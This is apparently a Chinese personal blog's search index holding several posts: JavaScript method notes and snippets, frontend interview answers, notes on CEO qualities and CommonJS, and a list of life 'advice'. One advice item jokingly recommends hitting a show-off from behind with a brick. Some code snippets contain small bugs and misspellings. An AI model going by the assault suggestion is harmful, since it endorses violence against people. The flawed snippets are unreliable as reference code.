title="str.search(Exp)"></a>str.search(Exp)</h4><p>找到第一次出现正则表达式或者字符串的地方，返回该位置的下标，如果没有就返回-1</p><h4 id="toUpperCase-toLowerCase"><a href="#toUpperCase-toLowerCase" class="headerlink" title="toUpperCase() toLowerCase()"></a>toUpperCase() toLowerCase()</h4><p>字符串大小写切换</p><h4 id="trim（）"><a href="#trim（）" class="headerlink" title="trim（）"></a>trim（）</h4><p>去除字符串两边的空白</p><h4 id="arr-every-check"><a href="#arr-every-check" class="headerlink" title="arr.every(check)"></a>arr.every(check)</h4><p>判断数组中的所有项是否都符合条件</p><h4 id="arr-fill-‘str’"><a href="#arr-fill-‘str’" class="headerlink" title="arr.fill(‘str’)"></a>arr.fill(‘str’)</h4><p>用字符串固定替换数组的元素</p><h4 id="oldArr-filter-function-currentValue-index-newArr-thisValue"><a href="#oldArr-filter-function-currentValue-index-newArr-thisValue" class="headerlink" title="oldArr.filter(function(currentValue, index, newArr), thisValue)"></a>oldArr.filter(function(currentValue, index, newArr), thisValue)</h4><p>创建一个新的数组 newArr, 新数组是通过检测的所有oldArr元素的集合</p><h4 id="arr-join-separator"><a href="#arr-join-separator" class="headerlink" title="arr.join(separator)"></a>arr.join(separator)</h4><p>将数组转换成字符串，并用separator 分开，可以省略</p><h4 id="reverse"><a href="#reverse" class="headerlink" title="reverse()"></a>reverse()</h4><p>反转字符串或数组</p><h3 id="函数"><a href="#函数" class="headerlink" title="函数"></a>函数</h3><h4 id="判断客户端手机型号"><a href="#判断客户端手机型号" class="headerlink" title="判断客户端手机型号"></a>判断客户端手机型号</h4><pre><code class="js">var BrowserInfo = { userAgent: navigator.userAgent.toLowerCase() isAndroid: Boolean(navigator.userAgent.match(/android/ig)), isIphone: Boolean(navigator.userAgent.match(/iphone|ipod/ig)), isIpad: Boolean(navigator.userAgent.match(/ipad/ig)), isWeixin: Boolean(navigator.userAgent.match(/MicroMessenger/ig)),}</code></pre><h4 id="获取-url-的参数"><a href="#获取-url-的参数" class="headerlink" title="获取 url 的参数"></a>获取 url 的参数</h4><pre><code class="js">function getExp(name, url) { var reg = new RegExp("(^|\\?|&)" + name + "=([^&]*)(\\s|&|$)", "i") if (reg.test(url)) return decodeURIComponent(RegExp.$2.replace(/\+/g, " ")) return ""}</code></pre><h4 id="全屏显示"><a href="#全屏显示" class="headerlink" title="全屏显示"></a>全屏显示</h4><pre><code class="js">function launchFullScreen(element) { if (element.requestFullScreen) { element.requestFullScreen(); } else if (element.mozRequestFullScreen) { element.mozRequestFullScreen(); } else if (element.webkitRequestFullScreen) { element.webkitRequestFullScreen(); }}</code></pre><h4 id="全选-全不选"><a href="#全选-全不选" class="headerlink" title="全选/全不选"></a>全选/全不选</h4><pre><code class="js">function selectAll(objSelect) { if(objSelect.checked == true) { $("input[name='chkId']").attr("checked", true) $("input[name='chkAll']").attr("checked", true) } else if (objSelect.checked == true) { $("input[name='chkId']").attr("checked", false) $("input[name='chkAll']").attr("checked", false) }}</code></pre><h4 id="判断浏览器"><a href="#判断浏览器" class="headerlink" title="判断浏览器"></a>判断浏览器</h4><pre><code class="js"><!--判断是否是 IE 浏览器--> if (document.all){ alert(”IE浏览器”); }else{ alert(”非IE浏览器”); } if (!!window.ActiveXObject){ alert(”IE浏览器”); }else{ alert(”非IE浏览器”); }<!--判断是IE几-->var isIE=!!window.ActiveXObject;var isIE6=isIE&&!window.XMLHttpRequest;var isIE8=isIE&&!!document.documentMode;var isIE7=isIE&&!isIE6&&!isIE8;if (isIE){ if (isIE6){ alert(”ie6″); }else if (isIE8){ alert(”ie8″); }else if (isIE7){ alert(”ie7″); }}</code></pre><h4 id="js-写-cookie"><a href="#js-写-cookie" class="headerlink" title="js 写 cookie"></a>js 写 cookie</h4><pre><code class="js">function setCookie(name, value, expires, path, domain) { if (!expires) expires = -1 if (!path) path = "/" var d = "" + name + "=" + value var e if (expires < 0) { e = "" } else if (expires == 0) { var f = new Date(1970, 1, 1) e = ";expires=" + f.toUTCString() } else { var now = new Date() var f = new Date(now.getTime() + expires * 1000) e = ";expires=" + f.toUTCString() } var dm; if (!domain) { dm = "" } else { dm = ";domain=" + domain } document.cookie = name + "=" + value + ";path=" + path + e + dm};</code></pre><h4 id="js-读-cookie"><a href="#js-读-cookie" class="headerlink" title="js 读 cookie"></a>js 读 cookie</h4><pre><code class="js">function readCookie(name) { var nameEQ = name + "=" var ca = document.cookie.split(';') for (var i = 0; i < ca.length; i++) { var c = ca[i] while (c.charAt(0) == ' ') c = c.substring(1, c.length) if (c.indexOf(nameEQ) == 0) { return decodeURIComponent(c.substring(nameEQ.length, c.length)) } } return null}</code></pre>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> js </tag>
|
||
|
||
<tag> methods </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>董思阳的忠告</title>
|
||
<link href="/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html"/>
|
||
<url>/%E8%91%A3%E6%80%9D%E9%98%B3%E7%9A%84%E5%BF%A0%E5%91%8A.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="关于成功"><a href="#关于成功" class="headerlink" title="关于成功"></a>关于成功</h3><ul><li><p>1、记住，平均每天看电视超过三小时以上的，一定都是那些月收入不超过两千元的，如果你想要月收入超过两千，请不要把时间浪费在电视上，同样的道理，那些平均每天玩网络游戏或聊天超过三个小时以上的，也都是那些月收入不超过两千的。</p></li><li><p>2、这个世界，有这么一小撮的人，打开报纸，是他们的消息，打开电视，是他们的消息，街头巷尾，议论的事他们的消息，仿佛世界是为他们准备的，他们能够呼风唤雨，无所不能。你的目标，应该是努力成为这一小撮人。</p></li><li><p>3、如果，你真的爱你的爸妈，爱你的女朋友，就好好得去奋斗，去拼搏吧，这样，你才有能力，有经济条件，有自由时间，去陪她们，去好好爱他们。</p></li><li><p>4、这个社会，是赢家通吃，输者一无所有，社会，永远都是只以成败论英雄。过程只是人生的一部分，再辛苦，没有成功只能说明你的能力还不够。</p></li><li><p>5、这个世界上，一流的人才，可以把三流项目做成二流或更好，但是，三流人才，会把一流项目，做的还不如三流。</p></li><li><p>6、趁着年轻，多出去走走看看，读万卷书，不如行万里路，行万里路，不如阅人无数。</p></li><li><p>7、与人交往的时候，多听少说，这就是，上帝为什么给我们一个嘴巴两个耳朵的原因。</p></li><li><p>8、不要装13，对于装13的人，最好的办法就是，见块砖头，悄悄跟上去，一下子从背后放到他。</p></li><li><p>9、一个年轻人，如果三年的时间里，没有任何想法，他这一生，就基本这个样子，没有多大改变了。</p></li><li><p>10、成功者就是胆识加魄力。</p></li><li><p>11、给自己定一个五年的目标，然后，把它分解成一年一年，半年半年的，三个月的，一个月的，这样，你才能找到自己的目标和方向。</p></li><li><p>12、如果我只能送你一句忠告，那就是，这个世界上没有免费的午餐，永远不要走捷径。</p></li></ul><h3 id="忠告"><a href="#忠告" class="headerlink" title="忠告"></a>忠告</h3><ul><li><p>1、给自己定目标，一年、两年、五年，也许你出生不如别人好，通过努力，往往可以改变70%的命运，破罐子破摔只能和懦弱做朋友。</p></li><li><p>2、朋友请你吃饭，不要觉得理所当然，请礼尚往来，否则你的名声会越来越差。</p></li><li><p>3、好朋友里面，一定要培养出一个知己，不要以为你有多么八面玲珑，到处是朋友，最后真心对你的，只要一个，相信我。</p></li><li><p>4、不喜欢的人少接触，但别在背后说坏话，说是非之人，必定是是非之人，谨记，祸从口出。</p></li><li><p>5、是人都有惰性，这是与生俱来的，但是我们后天可以改变这种惰性，因为有很多人正在改变，对于某种事物或是生意不要等别人做到了，我才想到，不要等别人已经赚到钱了，我才想去做，没有人相信的是市场和机遇，大家都相信的叫做膨胀。</p></li><li><p>6、知道自己要干什么，夜深人静，问问自己，将来的打算，并朝着那个方向去实现，而不是无所事事和做一些无谓的事。</p></li><li><p>7、出路出路，走出去了，总是会有路的，困难苦难，困在家里就是难，社会普遍认为。</p></li><li><p>8、做人，要做到；万事孝为先，教童品之道，夫妻和谐美，幸福万年长。但是这些不是拿来用嘴说说就能办到的，解放初期年代要做到这些，需要付出很大的努力和辛苦，当今现实的社会需要你付出很大的金钱，聪明的人都知道这个道理。</p></li><li><p>9、空闲时间不要经常上网做无聊的事和玩一些没有意义的游戏，读点文学作品，学习一些经营流程，管理规范，国际时事，法律常识。这能保证你在任何聚会都有谈资。</p></li><li><p>10、宁可错杀一千次来自各方面的信息，也不放过任何一个有可能成功的机会。只有这样你才不会去买后悔药。</p></li><li><p>11、要做一件事，成功之前，没有必要告诉其他人。成功之后不用你说，其他人都会知道的。这就是信息时代所带来的效应。</p></li><li><p>12、力求上进的人，不要总想着靠谁谁，人都是自私的，自己才是最靠得住的人。</p></li></ul><h3 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h3><blockquote><p>二十岁没钱，那很正常；三十岁没钱，可能是没有好的家境，需要更大的努力；四十岁没钱，只能自己找原因。穷人变成富人是可能的，而且很可能。穷人能穷一辈子，也是必然的，存在就是理由，只是有所选择。</p></blockquote>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 哲理 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>前端面试题</title>
|
||
<link href="/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html"/>
|
||
<url>/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E9%A2%98.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><ul><li>前端的难度，每18-24个月一轮回</li><li>关注技术动态，跟上节奏</li></ul><h4 id="注意"><a href="#注意" class="headerlink" title="注意"></a>注意</h4><ul><li>题目类型：理论知识，算法，项目细节，技术视野，开放性题，工作案例</li><li>细节追问：可以确保问到你开始不懂和面试官开始不懂为止</li><li>回答问题再棒，更要会做人</li><li>要靠谱</li></ul><h3 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h3><ul><li><p>html & css：对web标准的理解，浏览器内核差异，兼容性，hack，css基本功：布局，盒子模型，选择器优先级，flexbox</p></li><li><p>javascript: 数据类型，运算，对象，function，继承，闭包，作用域，原型链，事件，正则（regExp），json，ajax，dom，bom，内存泄漏，跨域，异步封装，模板引擎，前端mvc，路由，模块化，canvas，es6，nodeJS</p></li><li><p>其他：移动端，相应式，自动化构建，http，离线储存，web安全，优化，重构，团队协作，可维护，易用性，SEO，UED，架构，职业生涯，快速学习能力</p></li></ul><h3 id="html-amp-amp-css"><a href="#html-amp-amp-css" class="headerlink" title="html && css"></a>html && css</h3><h4 id="html5-为啥只需写-lt-DOCTYPE-HTML-gt"><a href="#html5-为啥只需写-lt-DOCTYPE-HTML-gt" class="headerlink" title="html5 为啥只需写 <!DOCTYPE HTML>"></a>html5 为啥只需写 <!DOCTYPE HTML></h4><ul><li>不基于 SGML（通用标记语言）</li></ul><h3 id="iframe-缺点？"><a href="#iframe-缺点？" class="headerlink" title="iframe 缺点？"></a>iframe 缺点？</h3><ul><li>阻塞搜索引擎，不利于SEO</li><li>和主页面共享连接池，影响连接速度</li><li>如果要用，建议用 js 动态添加 src 可以绕开以上问题</li></ul><h3 id="javascript"><a href="#javascript" class="headerlink" title="javascript"></a>javascript</h3><h4 id="如何实现-js-与-json-互换"><a href="#如何实现-js-与-json-互换" class="headerlink" title="如何实现 js 与 json 互换"></a>如何实现 js 与 json 互换</h4><ul><li>json 化<blockquote><p>var json = JSON.stringfy({a: ‘hello’, b: ‘world’})</p></blockquote></li><li>字符串化<blockquote><p>var obj = JSON.parse(‘{“a”: “hello”}’)</p></blockquote></li></ul><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><p>未完待续…</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> 面试 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>simpleCountry</title>
|
||
<link href="/simpleCountry.html"/>
|
||
<url>/simpleCountry.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="简介"><a href="#简介" class="headerlink" title="简介"></a>简介</h3><ul><li>昨天晚上想到这个名字，觉得很酷炫，如果可以我想现在就用这个成立一个品牌。打造一个只有简单元素的社区，因为我本人就是一个极简主义者，不喜欢复杂花俏。从生活作为一个切入点。不管是衣食住行，都做到简单，完美。</li></ul><h3 id="构思"><a href="#构思" class="headerlink" title="构思"></a>构思</h3><ul><li>构建一款 app 产品，它没有花俏的外观，没有多余的赘述，只有简单的产品图片，购买按钮，收藏，做垂直细分,可以是服装，家居，交通工具。</li><li>贯彻的理念是从生活出发，然后将自己的极简思想投入其中，艺术与生活相互结合。</li><li>例如：一款座椅用一条腿代替4条腿，或者是两条腿代替4条腿，一体式座椅，服装，色调不花俏，单色或者是拼色，会给人简单美好</li></ul><p>待续~</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> 生活 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> SC </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>如何成为一名合格的CEO</title>
|
||
<link href="/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html"/>
|
||
<url>/%E5%A6%82%E4%BD%95%E6%88%90%E4%B8%BA%E4%B8%80%E5%90%8D%E5%90%88%E6%A0%BC%E7%9A%84CEO.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h3 id="集中精力抓到要害问题"><a href="#集中精力抓到要害问题" class="headerlink" title="集中精力抓到要害问题"></a>集中精力抓到要害问题</h3><ul><li>好的ceo善于俯视整个公司，确定最优先要做的事前，然后重点突破，一两件事就能使公司发生巨大的变化。如果你能抓住公司面临问题的要害之处，人们才会洗耳恭听</li></ul><h3 id="销售能力"><a href="#销售能力" class="headerlink" title="销售能力"></a>销售能力</h3><ul><li>ceo 必须具备推销能力，把东西推销给客户和投资者，或者把革命思想推荐给公司</li></ul><h3 id="对财务的敏感"><a href="#对财务的敏感" class="headerlink" title="对财务的敏感"></a>对财务的敏感</h3><ul><li>读懂数据，把纸上的东西和实际的公司情况结合起来，不仅仅是预算问题，也需要思考盈利的驱动力问题。</li></ul><h3 id="有策略头脑"><a href="#有策略头脑" class="headerlink" title="有策略头脑"></a>有策略头脑</h3><ul><li>策略就是选择公司将参与角逐的竞技场，然后建立与这场竞争想关的优势。这样会考验你如何适应游戏规则并在游戏中获胜</li></ul><h3 id="管理变革的能力"><a href="#管理变革的能力" class="headerlink" title="管理变革的能力"></a>管理变革的能力</h3><ul><li>在整个公司的变革，犹如管理一个部门，但要困难的多，你的行动要有号召力。你必须为人们树立一个榜样，挑选真确的管理团队，确定可能妨碍或阻止你的层层挑战</li></ul><h3 id="领导能力"><a href="#领导能力" class="headerlink" title="领导能力"></a>领导能力</h3><ul><li>领导需要精力和激情。你必须先感召你自己，然后感召其他人。但激情也不是无根无据的滥用，一个坚定的长远目标很重要。</li></ul><h3 id="个性魅力"><a href="#个性魅力" class="headerlink" title="个性魅力"></a>个性魅力</h3><ul><li>伟大的ceo知道什么时候用逻辑推理，什么时候相信自己的直觉，他们知道什么时候应该采取什么措施，什么时候听之任之，他知道什么时候管什么时候不要管。</li></ul>]]></content>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 职场 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>前端面试准备</title>
|
||
<link href="/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html"/>
|
||
<url>/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><p>整理一些面试题，以备用</p><h2 id="技术分类"><a href="#技术分类" class="headerlink" title="技术分类"></a>技术分类</h2><h3 id="JS-行为层"><a href="#JS-行为层" class="headerlink" title="JS (行为层)"></a>JS (行为层)</h3><h4 id="typeof-返回哪些数据类型"><a href="#typeof-返回哪些数据类型" class="headerlink" title="typeof 返回哪些数据类型"></a>typeof 返回哪些数据类型</h4><ul><li>obj num fun bool undefined</li></ul><h4 id="3种强制类型转换两种隐式类型转换"><a href="#3种强制类型转换两种隐式类型转换" class="headerlink" title="3种强制类型转换两种隐式类型转换"></a>3种强制类型转换两种隐式类型转换</h4><ul><li>parseInt parseFloat number</li><li>== - ===</li></ul><h4 id="数组方法pop-push-unshift-shift"><a href="#数组方法pop-push-unshift-shift" class="headerlink" title="数组方法pop() push() unshift() shift()"></a>数组方法pop() push() unshift() shift()</h4><ul><li>push() 尾部添加 pop() 尾部删除</li><li>unshift() 头部添加 shift() 头部删除</li></ul><h4 id="ajax请求-get-和-post-的区别"><a href="#ajax请求-get-和-post-的区别" class="headerlink" title="ajax请求 get 和 post 的区别"></a>ajax请求 get 和 post 的区别</h4><ul><li>一个在 url 后面，一个放在虚拟载体里面</li><li>有大小限制</li><li>安全问题</li><li>应用不同 </li></ul><h4 id="call-和-apply-的区别"><a href="#call-和-apply-的区别" class="headerlink" title="call 和 apply 的区别"></a>call 和 apply 的区别</h4><ul><li>object.call(this, obj1,obj2,obj3)</li><li>object.apply(this, argument)</li></ul><h4 id="ajax-请求时，如何解析-json-数据"><a href="#ajax-请求时，如何解析-json-数据" class="headerlink" title="ajax 请求时，如何解析 json 数据"></a>ajax 请求时，如何解析 json 数据</h4><ul><li>使用eval parse，介于安全性考虑 使用parse 更靠谱</li><li>eval 可以解析任何字符串，parse只解析json格式的字符串</li></ul><h4 id="闭包是什么？"><a href="#闭包是什么？" class="headerlink" title="闭包是什么？"></a>闭包是什么？</h4><ul><li>闭包就是能够读取其他函数内部变量的函数</li></ul><h4 id="添加-删除-替换-插入到某个节点的方法"><a href="#添加-删除-替换-插入到某个节点的方法" class="headerlink" title="添加 删除 替换 插入到某个节点的方法"></a>添加 删除 替换 插入到某个节点的方法</h4><ul><li>obj.appendChild()</li><li>obj.innersetBefore()</li><li>obj.replaceChild()</li><li>obj.removeChild()</li></ul><h4 id="javascript-同源策略"><a href="#javascript-同源策略" class="headerlink" title="javascript 同源策略"></a>javascript 同源策略</h4><ul><li>一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合</li></ul><h4 id="编写一个-b-继承-a-的方法"><a href="#编写一个-b-继承-a-的方法" class="headerlink" title="编写一个 b 继承 a 的方法"></a>编写一个 b 继承 a 的方法</h4><pre><code class="js"> function A(name) { this.name = name; this.sayHello = function(){alert(this.name+ "say hello!")} } function B(name, id) { this.temp = A this.temp(name) delete this.temp this.id = id this.checkId = function(ID) {alert(this.id == ID)} }</code></pre><h4 id="如何阻止事件冒泡和默认事件"><a href="#如何阻止事件冒泡和默认事件" class="headerlink" title="如何阻止事件冒泡和默认事件"></a>如何阻止事件冒泡和默认事件</h4><pre><code class="js"> function stopBubble(e) { if (e && e.stopPropagation) { e.stopPropgation () } else { window.event.cancelBubble = true } return false }</code></pre><h4 id="谈谈this对象的理解"><a href="#谈谈this对象的理解" class="headerlink" title="谈谈this对象的理解"></a>谈谈this对象的理解</h4><ul><li>this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化</li><li>但是有一个原则，this 指向的就是调用函数的那个对象</li><li>this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象</li></ul><h4 id="简单讲下-node-的使用场景"><a href="#简单讲下-node-的使用场景" class="headerlink" title="简单讲下 node 的使用场景"></a>简单讲下 node 的使用场景</h4><ul><li>高并发，聊天，实时消息推送</li></ul><h4 id="node-的优点和缺点提出自己的看法"><a href="#node-的优点和缺点提出自己的看法" class="headerlink" title="node 的优点和缺点提出自己的看法"></a>node 的优点和缺点提出自己的看法</h4><ul><li><p>优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙</p></li><li><p>缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持</p></li></ul><h4 id="常用的一款框架"><a href="#常用的一款框架" class="headerlink" title="常用的一款框架"></a>常用的一款框架</h4><ul><li>vuejs reactjs jQuery angular</li></ul><h3 id="CSS-表现层"><a href="#CSS-表现层" class="headerlink" title="CSS (表现层)"></a>CSS (表现层)</h3><h4 id="清除浮动"><a href="#清除浮动" class="headerlink" title="清除浮动"></a>清除浮动</h4><ul><li>使用clear</li><li>使用overflow</li><li>使用css的*：after</li></ul><h4 id="居中设置"><a href="#居中设置" class="headerlink" title="居中设置"></a>居中设置</h4><h5 id="1·-水平居中"><a href="#1·-水平居中" class="headerlink" title="1· 水平居中"></a>1· 水平居中</h5><ul><li>flex布局<blockquote><p>设置justify-content：center；</p></blockquote></li></ul><h5 id="2·-垂直居中"><a href="#2·-垂直居中" class="headerlink" title="2· 垂直居中"></a>2· 垂直居中</h5><ul><li>多行文本（内联元素）<blockquote><p>a: 插入 table ，再设置vertical-align: middle;<br>b: 先设置display： table-cell；再设置vertical-align: middle;</p></blockquote></li></ul><h4 id="link-和-import的区别"><a href="#link-和-import的区别" class="headerlink" title="link 和 @import的区别"></a>link 和 @import的区别</h4><ul><li>link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css</li><li>页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载</li><li>import 只在 ie5 以上被识别</li></ul><h4 id="css-盒子模型"><a href="#css-盒子模型" class="headerlink" title="css 盒子模型"></a>css 盒子模型</h4><ul><li>content，padding，margin，border</li></ul><h4 id="css-选择符号"><a href="#css-选择符号" class="headerlink" title="css 选择符号"></a>css 选择符号</h4><ul><li>id选择器</li><li>类选择器</li><li>标签选择器</li><li>相邻选择器 +</li><li>子选择器 ></li><li>后代选择器</li><li>通配符选择器 *</li><li>属性选择器 （a[rel = ‘external’])</li><li>伪类选择器 hover nth-child</li><li>优先级<blockquote><p>!important > id > class > tag</p></blockquote></li></ul><h3 id="HTML-结构层"><a href="#HTML-结构层" class="headerlink" title="HTML (结构层)"></a>HTML (结构层)</h3><h4 id="什么是语义化的HTML"><a href="#什么是语义化的HTML" class="headerlink" title="什么是语义化的HTML"></a>什么是语义化的HTML</h4><ul><li>直观的认识标签，有益于 SEO</li><li>有利于开源之后阅读代码的人更容易阅读</li><li>便于后期维护和理解</li></ul><h3 id="自动化编程"><a href="#自动化编程" class="headerlink" title="自动化编程"></a>自动化编程</h3><h4 id="前端自动化工具？"><a href="#前端自动化工具？" class="headerlink" title="前端自动化工具？"></a>前端自动化工具？</h4><ul><li>gulp</li><li>webpack</li></ul><h3 id="其他"><a href="#其他" class="headerlink" title="其他"></a>其他</h3><h4 id="描述一下cookies，sessionStorage-和localStorage的区别？"><a href="#描述一下cookies，sessionStorage-和localStorage的区别？" class="headerlink" title="描述一下cookies，sessionStorage 和localStorage的区别？"></a>描述一下cookies，sessionStorage 和localStorage的区别？</h4><ul><li>cookie 在浏览器和服务器之间来回传递，SS和LS不会</li><li>SS和LS 的储存空间更大</li><li>SS和LS 有更多丰富易用的接口</li><li>SS和LS 是有各自的储存空间</li><li>LS 储存是永久性的，SS 关闭浏览器就没了</li></ul><h4 id="如何实现浏览器内多个标签之间的通信"><a href="#如何实现浏览器内多个标签之间的通信" class="headerlink" title="如何实现浏览器内多个标签之间的通信"></a>如何实现浏览器内多个标签之间的通信</h4><ul><li>调用LS Cookies 等本地储存方式</li></ul><h4 id="IE6-BUG-的解决办法"><a href="#IE6-BUG-的解决办法" class="headerlink" title="IE6 BUG 的解决办法"></a>IE6 BUG 的解决办法</h4><ul><li>双边距，float引起，使用display</li><li>3像素问题，float引起， 使用display：inline-3px</li><li>超链接 hover 点击失效， 注意顺序</li><li>无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）</li></ul><h4 id="你有哪些性能优化的方法"><a href="#你有哪些性能优化的方法" class="headerlink" title="你有哪些性能优化的方法"></a>你有哪些性能优化的方法</h4><ul><li>减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器</li><li>前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，</li><li>图片预加载，将样式表放在头部，脚本放在底部，加上时间戳</li><li>用innerHTML代替dom操作，减少dom操作次数，优化js性能</li><li>当需要设置的样式很多时，设置className而不是直接操作dom</li><li>避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，</li><li>前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询</li><li>减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。</li><li>程序优化永远要优化慢的部分</li></ul><h4 id="http-状态码有哪些？分别代表啥意思？"><a href="#http-状态码有哪些？分别代表啥意思？" class="headerlink" title="http 状态码有哪些？分别代表啥意思？"></a>http 状态码有哪些？分别代表啥意思？</h4><ul><li>100-199 用于指定客户端相应的某些动作</li><li>200-299 用于表示请求成功</li><li>300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息</li><li>400-499 用于指出客户端的错误。<blockquote><p>400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到</p></blockquote></li><li>500-599 用于支持服务器错误。501 服务器不可用</li></ul><h4 id="一个页面从输入-url-到页面显示完成，中间发生了什么？"><a href="#一个页面从输入-url-到页面显示完成，中间发生了什么？" class="headerlink" title="一个页面从输入 url 到页面显示完成，中间发生了什么？"></a>一个页面从输入 url 到页面显示完成，中间发生了什么？</h4><ul><li>查找浏览器缓存</li><li>DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求</li><li>进行HTTP 协议对话</li><li>客户端发送报头</li><li>文档开始下载</li><li>文档树建立，根据标记请求所需指定mime类型的文件</li><li>文件显示</li><li>浏览器这边做的工作大致分为以下几步：<blockquote><p>加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）<br>解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）</p></blockquote></li></ul><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><ul><li>怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长</li></ul>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> web前端 </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 面试 </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>commonJS和AMD/CMD</title>
|
||
<link href="/commonJS%E5%92%8CAMD-CMD.html"/>
|
||
<url>/commonJS%E5%92%8CAMD-CMD.html</url>
|
||
<content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><h2 id="一-CommonJS"><a href="#一-CommonJS" class="headerlink" title="一. CommonJS"></a>一. CommonJS</h2><p> node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。</p><blockquote><p>var math = require(‘math’)</p></blockquote><h3 id="1-原理"><a href="#1-原理" class="headerlink" title="1. 原理"></a>1. 原理</h3><p>浏览器兼不兼容commonJS，在于是否缺少这几个环境变量</p><ul><li>module</li><li>export</li><li>require</li><li>global</li></ul><h3 id="2-browsertify"><a href="#2-browsertify" class="headerlink" title="2. browsertify"></a>2. browsertify</h3><p>将 npm包 编译成可以被 html 页面引入的 js模块</p><blockquote><p>一个类似的库：browser-unpack</p></blockquote><p>未完待续…</p>]]></content>
|
||
|
||
<categories>
|
||
|
||
<category> JS </category>
|
||
|
||
</categories>
|
||
|
||
|
||
<tags>
|
||
|
||
<tag> 未完成 </tag>
|
||
|
||
<tag> commonjs </tag>
|
||
|
||
</tags>
|
||
|
||
</entry>
|
||
|
||
<entry>
|
||
<title>七种公司永远做不大, 十种老板永远不成功!</title>
|
||
